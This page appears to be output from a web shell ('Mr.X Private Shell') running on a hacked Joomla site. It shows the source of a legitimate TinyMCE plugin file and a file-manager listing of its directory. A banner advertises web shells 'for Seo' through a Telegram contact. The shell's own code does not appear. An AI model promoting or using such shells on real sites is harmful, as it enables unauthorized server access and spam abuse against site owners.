__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package Joomla.Plugin
* @subpackage Editors.tinymce
*
* @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Plugin\Editors\TinyMCE\PluginTraits;
use Joomla\CMS\Language\Text;
// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
/**
* Gets the active Site template style.
*
* @since 4.1.0
*/
trait ActiveSiteTemplate
{
/**
* Helper function to get the active Site template style.
*
* @return object
*
* @since 4.1.0
*/
protected function getActiveSiteTemplate()
{
$db = $this->getDatabase();
$query = $db->getQuery(true)
->select('*')
->from($db->quoteName('#__template_styles'))
->where(
[
$db->quoteName('client_id') . ' = 0',
$db->quoteName('home') . ' = ' . $db->quote('1'),
]
);
$db->setQuery($query);
try {
return $db->loadObject();
} catch (\RuntimeException $e) {
$this->getApplication()->enqueueMessage(Text::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
return new \stdClass();
}
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ActiveSiteTemplate.php | File | 1.33 KB | 0664 |
|
| DisplayTrait.php | File | 22.55 KB | 0664 |
|
| GlobalFilters.php | File | 6.97 KB | 0664 |
|
| KnownButtons.php | File | 4.89 KB | 0664 |
|
| ResolveFiles.php | File | 3.45 KB | 0664 |
|
| ToolbarPresets.php | File | 3.12 KB | 0664 |
|
| XTDButtons.php | File | 2.48 KB | 0664 |
|